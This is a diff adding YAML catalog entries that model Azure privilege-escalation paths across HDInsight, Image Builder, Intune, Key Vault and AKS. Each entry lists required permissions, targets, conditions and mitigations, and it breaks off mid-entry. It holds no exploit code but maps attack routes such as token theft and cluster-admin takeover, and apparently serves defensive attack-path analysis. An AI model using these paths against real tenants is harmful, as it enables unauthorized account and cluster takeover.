azure-hdinsight-update-gateway-settings + provider: azure + service: hdinsight + title: Reset the HDInsight gateway (Ambari) credentials + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#reset-gateway-credentials-to-take-over-the-cluster + source_revision: 171e422 + summary: The source can set the Ambari login to a known value, run code on the nodes and reach the cluster's user-assigned managed identity. + requires: + all_of: + - action: Microsoft.HDInsight/clusters/updateGatewaySettings/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HDInsight/clusters + managed_identity_type: user_assigned + scope: inherited_scope + aggregate_as: "User-assigned identity of HDInsight cluster {target.host_resource}" + conditions: + - id: gateway_reachable + description: The cluster gateway must be reachable from the source. + - id: job_code_runs_as_service_user + description: Submitted jobs run as cluster service users, not root. + - id: mi_token_from_node_certificate + description: Obtaining a token depends on using the identity certificate installed on the nodes. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict updateGatewaySettings/action and alert on gateway credential changes. + references: + - https://learn.microsoft.com/en-us/rest/api/hdinsight/clusters/update-gateway-settings + notes: Disruptive (breaks persisted script actions using the old password). + +- id: azure-hdinsight-execute-script-actions + provider: azure + service: hdinsight + title: Run a script action as root on HDInsight nodes + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#arbitrary-root-rce-via-script-actions + source_revision: 171e422 + summary: Script actions run as root on the chosen node roles, exposing the cluster's user-assigned managed identity. + requires: + all_of: + - action: Microsoft.HDInsight/clusters/executeScriptActions/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HDInsight/clusters + managed_identity_type: user_assigned + scope: inherited_scope + aggregate_as: "User-assigned identity of HDInsight cluster {target.host_resource}" + conditions: + - id: mi_token_from_node_certificate + description: Obtaining a token depends on using the identity certificate installed on the nodes (IMDS is not available on HDInsight nodes). + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict executeScriptActions/action (Contributor/Owner), review persisted script actions and keep the cluster identity least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/hdinsight/hdinsight-hadoop-customize-cluster-linux + notes: Persisted script actions re-run on scaled or replaced nodes without new Activity Log events. + +- id: azure-hdinsight-applications-write + provider: azure + service: hdinsight + title: Install an HDInsight application whose install script runs as root + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#root-rce--persistence-via-hdinsight-applications + source_revision: 171e422 + summary: Application install scripts run as root on the cluster, exposing the cluster's user-assigned managed identity. + requires: + all_of: + - action: Microsoft.HDInsight/clusters/applications/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HDInsight/clusters + managed_identity_type: user_assigned + scope: inherited_scope + aggregate_as: "User-assigned identity of HDInsight cluster {target.host_resource}" + conditions: + - id: attacker_authored_application + description: HackTricks notes that a fully attacker-authored application definition should be validated on a live cluster. + - id: mi_token_from_node_certificate + description: Obtaining a token depends on using the identity certificate installed on the nodes. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict clusters/applications/write and review installed applications and edge nodes. + references: + - https://learn.microsoft.com/en-us/azure/hdinsight/hdinsight-apps-install-applications + notes: "" + +- id: azure-hdinsight-create-with-user-assigned-identity + provider: azure + service: hdinsight + title: Create an HDInsight cluster with a user-assigned identity and root script actions + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#seed-root-code--attach-an-identity-via-cluster-create-or-update + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities it may assign, by creating a cluster that carries them and runs its own provisioning scripts as root. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.HDInsight/clusters/write + scope: "{pivot}" + pivot_resource_type: Microsoft.Resources/resourceGroups + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: cluster_dependencies + description: Creation also needs a usable storage account (the identity typically needs Storage Blob Data Owner on ADLS Gen2) and a subnet/network the deployment may use. + - id: mi_token_from_node_certificate + description: Obtaining a token depends on using the identity certificate installed on the nodes. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and HDInsight clusters/write. + references: + - https://learn.microsoft.com/en-us/azure/hdinsight/hdinsight-managed-identities + notes: Only the create path is modelled; HDInsight does not support in-place updates of identity or script actions on an existing cluster through clusters/write. diff --git a/src/privilege-escalation-paths-research/azure/image_builder.yaml b/src/privilege-escalation-paths-research/azure/image_builder.yaml new file mode 100644 index 0000000000..f5e869492c --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/image_builder.yaml @@ -0,0 +1,79 @@ +# Azure VM Image Builder techniques (declarative only). +# Source: hacktricks-cloud az-image-builder-privesc.md (rev 171e422). +# Customizers run as root/SYSTEM on the build VM. Only the build-VM identities +# (vmProfile.userAssignedIdentities) are exposed through IMDS; the template's top-level identity is +# the service identity used by Image Builder and is not attached to the build VM. + +- id: azure-imagebuilder-template-hijack-existing + provider: azure + service: image_builder + title: Recreate and run an existing image template with an injected customizer + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#hijack-an-existing-image-template + source_revision: 171e422 + summary: The source can obtain the privileges of the build-VM identities already configured on an existing image template. + requires: + all_of: + - action: Microsoft.VirtualMachineImages/imageTemplates/read + scope: "{target.host_resource}" + - action: Microsoft.VirtualMachineImages/imageTemplates/delete + scope: "{target.host_resource}" + - action: Microsoft.VirtualMachineImages/imageTemplates/write + scope: "{target.host_resource}" + - action: Microsoft.VirtualMachineImages/imageTemplates/run/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.VirtualMachineImages/imageTemplates + managed_identity_type: user_assigned + scope: inherited_scope + aggregate_as: "Build-VM identities of image template {target.host_resource}" + conditions: + - id: build_vm_identity_only + description: Only identities listed in the template's vmProfile.userAssignedIdentities are reachable from customizer code; the template's top-level identity is also attached to the template resource but is not exposed on the build VM. + - id: identity_reference_check + description: Recreating the template re-references its top-level UAMI, which ARM may check against userAssignedIdentities/assign/action for the caller. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict imageTemplates write/delete/run (Contributor), avoid attaching privileged build-VM identities, and grant the template UAMI Managed Identity Operator only on dedicated build identities. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/linux/image-builder-json + - https://learn.microsoft.com/en-us/azure/virtual-machines/linux/image-builder-permissions-cli + notes: The template is immutable, so modification is delete plus recreate. The attachment inventory cannot distinguish top-level from build-VM identities, so the target set may over-include the template's service identity; hence conditional. + +- id: azure-imagebuilder-template-create-via-template-identity + provider: azure + service: image_builder + title: Create and run a new image template whose template identity attaches a build-VM identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#customizer-rce--build-identity-token-theft-marquee + source_revision: 171e422 + summary: A source that can create and run image templates and assign a user-assigned identity T as the template identity can obtain the privileges of the build-VM identities that T is itself allowed to assign. + requires: + all_of: + - action: Microsoft.VirtualMachineImages/imageTemplates/write + - action: Microsoft.VirtualMachineImages/imageTemplates/run/action + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_assignable_via_identity_holding: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: any + aggregate_as: "UAMIs assignable by an Image Builder template identity the source can assign" + outcome: workload_execution + conditions: + - id: build_vm_identity_only + description: Customizer code runs on the build VM; only identities listed in vmProfile.userAssignedIdentities are reachable through IMDS, and Image Builder checks that the template identity (not the caller) holds Managed Identity Operator / assign on each of them. + - id: template_identity_is_intermediate + description: The edge names the intermediate template identity T (via_intermediate_identity condition); the source must hold userAssignedIdentities/assign/action on T, which the selector checks. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Grant Managed Identity Operator to image template identities only on dedicated, least-privileged build identities, and restrict imageTemplates/write and run/action. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/linux/image-builder-json + - https://learn.microsoft.com/en-us/azure/virtual-machines/linux/image-builder-permissions-cli + notes: Complements azure-imagebuilder-template-hijack-existing (existing templates). The imageTemplates write/run requirements are matched at any scope where the source can create a template; the staging resource group and region constraints are not evaluated. Running the base customizer without any build-VM identity reaches no principal and is not an edge. diff --git a/src/privilege-escalation-paths-research/azure/intune.yaml b/src/privilege-escalation-paths-research/azure/intune.yaml new file mode 100644 index 0000000000..a955908ab7 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/intune.yaml @@ -0,0 +1,81 @@ +# Intune techniques (declarative only). Source: hacktricks-cloud az-intune-privesc.md (rev 171e422). +# Only the users of managed devices are modelled as targets: SYSTEM/root on an endpoint is not a cloud +# principal, so the device itself is not a target kind. Facts needed (not collected yet -> unknown): +# intune_role_assignment {members[], roleDefinition.displayName, roleDefinition.rolePermissions[].resourceActions[] +# .allowedResourceActions[]} and intune_managed_device {id, userId}. + +- id: azure-intune-managed-device-user-code-execution + provider: azure + service: intune + title: Push a SYSTEM script or app to managed devices and take over their users' sessions + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#fleet-rce-via-platform-scripts-system-over-graph + source_revision: 171e422 + summary: A principal that can create and assign Intune platform scripts, shell scripts or Win32 apps runs code as SYSTEM/root on targeted managed devices and can steal the tokens of the users signed in to them. + requires: + all_of: [] + any_of: + - - intune_permission: Microsoft.Intune_DeviceConfigurations_Assign + - - intune_permission: Microsoft.Intune_MobileApps_Assign + - - entra_role: Intune Administrator + - - entra_role: Global Administrator + - - graph_app_permission: DeviceManagementScripts.ReadWrite.All + - - graph_app_permission: DeviceManagementConfiguration.ReadWrite.All + - - graph_app_permission: DeviceManagementApps.ReadWrite.All + target: + kind: azure_user + selector: + intune_managed_device_user: true + scope: tenant + aggregate_as: "Primary users of Intune-managed devices in {scope}" + outcome: credentials + conditions: + - id: device_session_not_verified + description: The user is the device's primary user; the user must actually sign in (or have a cached session / PRT) on the device while the payload runs. + - id: intune_scope_tags_not_evaluated + description: Intune RBAC scope groups and scope tags limit which devices a role assignment can target; not evaluated. + - id: create_and_assign_needed + description: The Intune RBAC alternatives assume the role also allows creating or updating the script / app (Create / Update next to Assign); modifying an existing assigned script needs Update only. + blockers: + - intune_multi_admin_approval_required + confidence: conditional + severity: high + mitigation: Enable Intune Multi Admin Approval for scripts, apps and RBAC, scope Intune roles with scope tags, keep privileged access workstations in a separate Intune scope, and treat DeviceManagement*.ReadWrite.All as Tier 0. + references: + - https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension + - https://learn.microsoft.com/en-us/mem/intune/fundamentals/role-based-access-control + - https://learn.microsoft.com/en-us/mem/intune/fundamentals/multi-admin-approval + notes: Also covers the portal path (Cloud -> On-Prem), macOS shell scripts / Win32 apps and the Intune Administrator -> Global Administrator chain (a privileged user signing in to a managed PAW). Users who merely sign in to a device without being its primary user are not visible in the collected facts. + +- id: azure-intune-laps-local-admin-device-user + provider: azure + service: intune + title: Read Windows LAPS passwords and take over the users of those devices + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-intune-post-exploitation.md#credential-access--filevault--bitlocker-keys--laps-passwords + source_revision: a66f094ede + summary: A principal that can read backed-up Windows LAPS local-administrator passwords gains local administrator on those devices and can steal the tokens of the users who sign in to them. + requires: + any_of: + - - entra_permission: microsoft.directory/deviceLocalCredentials/password/read + - - graph_app_permission: DeviceLocalCredential.Read.All + target: + kind: azure_user + selector: + intune_managed_device_user: true + scope: tenant + aggregate_as: "Primary users of LAPS-protected managed devices in {scope}" + outcome: credentials + conditions: + - id: laps_backup_to_entra + description: Only devices with Windows LAPS backed up to Microsoft Entra ID have a readable password; devices backing up to on-premises AD are not reachable this way. + - id: device_reachability + description: Using the local administrator password needs network or interactive logon to the device; this is not visible in the cloud snapshot. + - id: device_session_not_verified + description: The target user must sign in (or have a cached session / PRT) on the device for its tokens to be stolen. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict deviceLocalCredentials/password/read and DeviceLocalCredential.Read.All to Tier-0 device administrators, keep privileged access workstations in separate administrative units, and alert on LAPS password reads. + references: + - https://learn.microsoft.com/en-us/entra/identity/devices/howto-manage-local-admin-passwords + - https://learn.microsoft.com/en-us/graph/api/devicelocalcredentialinfo-get + notes: Also covers az-entraid-privesc/README.md#microsoftdirectorydevicelocalcredentialspasswordread (same permission). Only Intune-managed devices with a known primary user are visible as targets; Entra-joined devices outside Intune are missed. BitLocker and FileVault key reads stay excluded (offline disk access, no session of another principal). diff --git a/src/privilege-escalation-paths-research/azure/key_vault.yaml b/src/privilege-escalation-paths-research/azure/key_vault.yaml new file mode 100644 index 0000000000..57679fa1ba --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/key_vault.yaml @@ -0,0 +1,110 @@ +- id: azure-keyvault-secret-read-sp-credentials + provider: azure + service: key_vault + title: Read Key Vault secrets/certificates containing service-principal credentials + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#microsoftkeyvaultvaultsaccesspolicieswrite-microsoftkeyvaultvaultsread + source_revision: 171e422 + summary: The source can obtain the privileges of service principals whose credentials are stored in the vault. + requires: + all_of: [] + any_of: + - - action: Microsoft.KeyVault/vaults/accessPolicies/write + scope: '{pivot}' + - - action: Microsoft.KeyVault/vaults/secrets/getSecret/action + data_action: true + scope: '{pivot}' + pivot_resource_type: Microsoft.KeyVault/vaults + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals with credentials stored in {pivot} + conditions: + - id: permission_model + description: accessPolicies/write and vaults/write (which can rewrite the vault's accessPolicies property) apply + only when enableRbacAuthorization is false/null; getSecret applies only when it is true. + - id: credential_content_unknown + description: The vault must actually hold a client secret or certificate private key of a service principal; + content is not visible from RBAC. + - id: network_reachable + description: Vault firewall/private endpoint must allow the source (vaults/write can change network ACLs). + blockers: [] + confidence: conditional + severity: high + mitigation: Use Azure RBAC vault permission model, restrict accessPolicies/write, vaults/write (Contributor, Key + Vault Contributor) and Secrets User roles, and avoid storing SP secrets where managed identities suffice. + references: + - https://learn.microsoft.com/en-us/azure/key-vault/general/rbac-access-policy + notes: The vaults/write toggle is excluded from this entry until the evaluator can prove a stale access policy + for a source-controlled principal with secret read. Direct accessPolicies/write on an access-policy vault and + secrets/getSecret remain covered. +- id: azure-keyvault-key-sign-sp-client-assertion + provider: azure + service: key_vault + title: Sign a service-principal client assertion with a vault-held certificate key + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#forge-signatures-with-microsoftkeyvaultvaultskeyssignaction + source_revision: a66f094ede + summary: When a non-exportable vault key backs a service principal's certificate credential, signing with it lets the source authenticate as that service principal without ever extracting the key. + requires: + all_of: [] + any_of: + - - action: Microsoft.KeyVault/vaults/keys/sign/action + data_action: true + scope: '{pivot}' + - - action: Microsoft.KeyVault/vaults/accessPolicies/write + scope: '{pivot}' + pivot_resource_type: Microsoft.KeyVault/vaults + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals whose certificate credential key is held in {pivot} + conditions: + - id: key_backs_sp_certificate + description: A key (or certificate) in the vault must be the private key of a certificate registered as a credential on a service principal or app registration; key usage by consumers is not collected. + - id: permission_model + description: keys/sign applies when enableRbacAuthorization is true; accessPolicies/write (granting the sign key permission) applies to access-policy vaults. + - id: network_reachable + description: Vault firewall/private endpoint must allow the source. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Scope Key Vault Crypto User and sign permissions to the workloads that own each key, keep application credential keys in dedicated vaults, and alert on first-time KeySign callers. + references: + - https://learn.microsoft.com/en-us/entra/identity-platform/certificate-credentials + notes: Exportable certificates are already reachable through secrets/getSecret (azure-keyvault-secret-read-sp-credentials); this entry covers the non-exportable/HSM case. Forgery against non-Entra consumers (custom JWT, SAML, code signing) stays excluded. +- id: azure-keyvault-template-deployment-secret-reference + provider: azure + service: key_vault + title: Resolve a Key Vault secret through an ARM template deployment + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#microsoftkeyvaultvaultsdeployaction--microsoftresourcesdeploymentswrite + source_revision: 171e422 + summary: The source can obtain the privileges of service principals whose credentials are stored in the vault. + requires: + all_of: + - action: Microsoft.KeyVault/vaults/deploy/action + scope: '{pivot}' + - action: Microsoft.Resources/deployments/write + scope: '*' + pivot_resource_type: Microsoft.KeyVault/vaults + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals with credentials stored in {pivot} + conditions: + - id: enabled_for_template_deployment + description: The vault must have enabledForTemplateDeployment set. + - id: credential_content_unknown + description: The referenced secret must contain a service-principal credential. + blockers: [] + confidence: conditional + severity: high + mitigation: Disable enabledForTemplateDeployment where unused and restrict vaults/deploy/action. + references: + - https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/key-vault-parameter + notes: '' diff --git a/src/privilege-escalation-paths-research/azure/kubernetes.yaml b/src/privilege-escalation-paths-research/azure/kubernetes.yaml new file mode 100644 index 0000000000..35be32defd --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/kubernetes.yaml @@ -0,0 +1,348 @@ +- id: azure-aks-list-cluster-admin-credential + provider: azure + service: kubernetes + title: Retrieve the AKS clusterAdmin kubeconfig + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + source_revision: 171e422 + summary: The source can obtain Kubernetes cluster-admin (system:masters) on the AKS cluster. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/listClusterAdminCredential/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: api_server_reachable + description: Private clusters / authorized IP ranges require network reachability to the API server. + blockers: + - aks_local_accounts_disabled + confidence: derived + severity: critical + mitigation: Disable local accounts on AKS (disableLocalAccounts) and restrict listClusterAdminCredential (Azure Kubernetes Service Cluster Admin Role, Contributor). + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-local-accounts-managed-azure-ad + notes: The clusterAdmin certificate maps to system:masters whether or not Entra integration or Azure RBAC for Kubernetes is enabled; only disableLocalAccounts removes it. From cluster-admin, workload identities and node identities are reachable through the k8s catalog. +- id: azure-hybrid-k8s-list-cluster-admin-credential + provider: azure + service: kubernetes + title: Retrieve admin credentials of a hybrid (provisioned) Kubernetes cluster + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + source_revision: 171e422 + summary: The source can obtain Kubernetes cluster-admin on the provisioned cluster. + requires: + all_of: + - action: Microsoft.HybridContainerService/provisionedClusters/listClusterAdminCredential/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of provisioned cluster {target.scope}" + conditions: + - id: api_server_reachable + description: The API server must be reachable. + blockers: [] + confidence: derived + severity: critical + mitigation: Restrict listClusterAdminCredential on hybrid clusters. + references: [] + notes: User-credential actions on connected/provisioned clusters are identity-bound and not modelled as a gain. +- id: azure-aks-azure-rbac-k8s-rbac-write + provider: azure + service: kubernetes + title: Create or bind Kubernetes RBAC through Azure RBAC data actions + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + source_revision: 171e422 + summary: The source can obtain Kubernetes cluster-admin (or namespace admin) through RBAC objects it can create or bind. + requires: + all_of: [] + any_of: + - - action: Microsoft.ContainerService/managedClusters/rbac.authorization.k8s.io/clusterrolebindings/write + data_action: true + scope: "{target.scope}" + - action: Microsoft.ContainerService/managedClusters/rbac.authorization.k8s.io/clusterroles/bind/action + data_action: true + scope: "{target.scope}" + - - action: Microsoft.ContainerService/managedClusters/rbac.authorization.k8s.io/clusterroles/bind/action + data_action: true + scope: "{target.scope}" + - action: Microsoft.ContainerService/managedClusters/rbac.authorization.k8s.io/rolebindings/write + data_action: true + scope: "{target.scope}" + - - action: Microsoft.ContainerService/managedClusters/rbac.authorization.k8s.io/clusterroles/write + data_action: true + scope: "{target.scope}" + - action: Microsoft.ContainerService/managedClusters/rbac.authorization.k8s.io/clusterroles/escalate/action + data_action: true + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: azure_rbac_for_k8s_enabled + description: Only when Azure RBAC for Kubernetes authorization is enabled on the cluster. + - id: namespace_scoped_grant + description: Grants scoped to a namespace (scope .../namespaces/), and the bind+rolebindings group, yield namespace admin, not cluster admin. + - id: escalate_needs_bound_role + description: The clusterroles write+escalate group only helps if a ClusterRole already bound to the source (or a group it belongs to) is widened. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not grant RBAC-object write/bind/escalate data actions outside cluster administrators. + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-azure-rbac + notes: Exact data-action names taken from the Azure RBAC provider operations for Microsoft.ContainerService. Kubernetes RBAC escalation prevention means binding write alone is insufficient (bind on the referenced role is also checked), and escalate is useless without role write. +- id: azure-aks-access-profile-list-credential + provider: azure + service: kubernetes + title: Retrieve the clusterAdmin kubeconfig through the legacy access-profile API + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#alternative-cluster-credential-retrieval-apis + source_revision: 171e422 + summary: The source can obtain Kubernetes cluster-admin (system:masters) on the AKS cluster without the listClusterAdminCredential action. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/accessProfiles/listCredential/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: api_server_reachable + description: Private clusters / authorized IP ranges require network reachability to the API server. + - id: legacy_api_available + description: The access-profile API is deprecated; it must still be served for the cluster's API version. + blockers: + - aks_local_accounts_disabled + confidence: conditional + severity: critical + mitigation: Disable local accounts and restrict accessProfiles/listCredential/action together with listClusterAdminCredential. + references: + - https://learn.microsoft.com/en-us/rest/api/aks/managed-clusters/get-access-profile + notes: Only the clusterAdmin access profile is modelled. The fleet hub credential (fleets/listCredentials/action) is an Entra exec-plugin kubeconfig gated by Fleet RBAC, the managed-namespace credential is namespace-scoped, and the clusterMonitoringUser credential is bound to a read-mostly monitoring role, so none of them is a gain by itself. +- id: azure-aks-run-command + provider: azure + service: kubernetes + title: In-cluster execution through AKS Run Command + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#run-command--in-cluster-execution-with-no-kubeconfig-and-no-network-line-of-sight + source_revision: a66f094ede + summary: On local-account clusters the source can run commands with cluster-admin authority inside the cluster, including private clusters. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/runCommand/action + scope: "{target.scope}" + - action: Microsoft.ContainerService/managedClusters/commandResults/read + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: run_command_enabled + description: apiServerAccessProfile.disableRunCommand must not be true. + - id: cluster_without_entra_integration + description: On Entra-integrated clusters the command pod is authorized with the caller's own Entra token, so only the caller's existing Kubernetes or Azure RBAC applies. + blockers: + - aks_entra_integration_enabled + confidence: conditional + severity: critical + mitigation: Set disableRunCommand where unused, enable Entra integration with local accounts disabled, and restrict runCommand/action. + references: + - https://learn.microsoft.com/en-us/azure/aks/access-private-cluster + - https://learn.microsoft.com/en-us/rest/api/aks/managed-clusters/run-command + notes: Action names verified on Microsoft Learn (access-private-cluster lists runcommand/action and commandResults/read). BloodHound models this as AZAKSContributor. Network reachability to the API server is not needed. +- id: azure-aks-managedclusters-write-enable-local-accounts + provider: azure + service: kubernetes + title: Re-enable AKS local accounts and retrieve the clusterAdmin kubeconfig + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#re-arm-the-built-in-cluster-admin--graft-an-attacker-entra-admin-group-managedclusterswrite + source_revision: 171e422 + summary: The source can obtain Kubernetes cluster-admin on a cluster whose local accounts were disabled. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/write + scope: "{target.scope}" + - action: Microsoft.ContainerService/managedClusters/listClusterAdminCredential/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: api_server_reachable + description: Private clusters / authorized IP ranges require network reachability to the API server. + blockers: [] + confidence: derived + severity: critical + mitigation: Restrict managedClusters/write (Azure Kubernetes Service Contributor, Contributor) and enforce disableLocalAccounts with Azure Policy (deny). + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-local-accounts-managed-azure-ad + notes: Pairs with azure-aks-list-cluster-admin-credential; this entry removes the local-accounts blocker. +- id: azure-aks-managedclusters-write-admin-group + provider: azure + service: kubernetes + title: Add an Entra group the source belongs to as AKS cluster admin + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#re-arm-the-built-in-cluster-admin--graft-an-attacker-entra-admin-group-managedclusterswrite + source_revision: 171e422 + summary: The source can obtain Kubernetes cluster-admin by adding a group it is a member of to the cluster's admin groups. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/write + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: source_group_membership + description: The source must be a member of (or able to create) an Entra security group to set in aadProfile.adminGroupObjectIDs. + - id: entra_integrated_cluster + description: Applies to AKS-managed Entra integration; the source must also be able to obtain a user kubeconfig (listClusterUserCredential) and reach the API server. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict managedClusters/write and alert on aadProfile.adminGroupObjectIDs changes. + references: + - https://learn.microsoft.com/en-us/azure/aks/enable-authentication-microsoft-entra-id + notes: "" +- id: azure-aks-vmss-node-run-command + provider: azure + service: kubernetes + title: Run Command on an AKS worker scale-set instance + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#vm-scale-set-run-command-on-aks-workers + source_revision: 171e422 + summary: The source can run code as root on the node and obtain the scale set's managed identities (AKS kubelet/agent pool identities). + requires: + all_of: + - action: Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommand/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachineScaleSets + scope: inherited_scope + aggregate_as: "Managed identities of scale set {target.host_resource}" + conditions: + - id: vm_agent_running + description: The instance must be running with a healthy VM agent. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Enable AKS node resource group lockdown (a deny assignment), restrict scale-set Run Command in node resource groups, and keep kubelet identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-ssh-node-access + - https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown + notes: Applies to any Uniform scale set, including AKS node pools. Kubernetes privileges from node credentials (kubelet, projected tokens) are handled by the k8s catalog node edges and are not claimed here. +- id: azure-aks-azure-rbac-impersonate + provider: azure + service: kubernetes + title: Impersonate privileged Kubernetes groups, users or service accounts through Azure RBAC data actions + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + source_revision: a66f094ede + summary: The source can impersonate system:masters through the groups/impersonate data action. + requires: + all_of: [] + any_of: + - - action: Microsoft.ContainerService/managedClusters/groups/impersonate/action + data_action: true + scope: '{target.scope}' + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: Cluster admin of AKS cluster {target.scope} + conditions: + - id: azure_rbac_for_k8s_enabled + description: Only when Azure RBAC for Kubernetes authorization is enabled on the cluster. + - id: namespace_scoped_grant + description: Grants scoped to a namespace limit impersonation to that namespace's authorization checks. + blockers: [] + confidence: conditional + severity: critical + mitigation: Do not grant impersonate data actions outside cluster administrators; review custom roles carrying + Microsoft.ContainerService/managedClusters/*. + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-azure-rbac + notes: 'users/impersonate and serviceaccounts/impersonate are separate conditional paths: an impersonable subject + must have effective cluster-admin RBAC. Do not claim cluster admin from those actions without the subject-to-binding + join.' +- id: azure-aro-list-credentials + provider: azure + service: kubernetes + title: Retrieve the ARO kubeadmin credentials + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-red-hat-openshift-aro-cluster-credentials + source_revision: 171e422 + summary: The source can obtain OpenShift cluster-admin (kubeadmin) on the ARO cluster. + requires: + all_of: + - action: Microsoft.RedHatOpenShift/openShiftClusters/listCredentials/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of ARO cluster {target.scope}" + conditions: + - id: api_server_reachable + description: Private ARO clusters require network reachability to the API server or console. + - id: kubeadmin_not_removed + description: The kubeadmin user must not have been removed after configuring another identity provider. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict listCredentials/action on ARO clusters and remove kubeadmin once an identity provider is configured. + references: + - https://learn.microsoft.com/en-us/azure/openshift/tutorial-connect-cluster + notes: The hosted-control-plane preview (hcpOpenShiftClusters) is not modelled. +- id: azure-aks-flux-configuration-write + provider: azure + service: kubernetes + title: Point a Flux GitOps configuration at an attacker-controlled source + source: 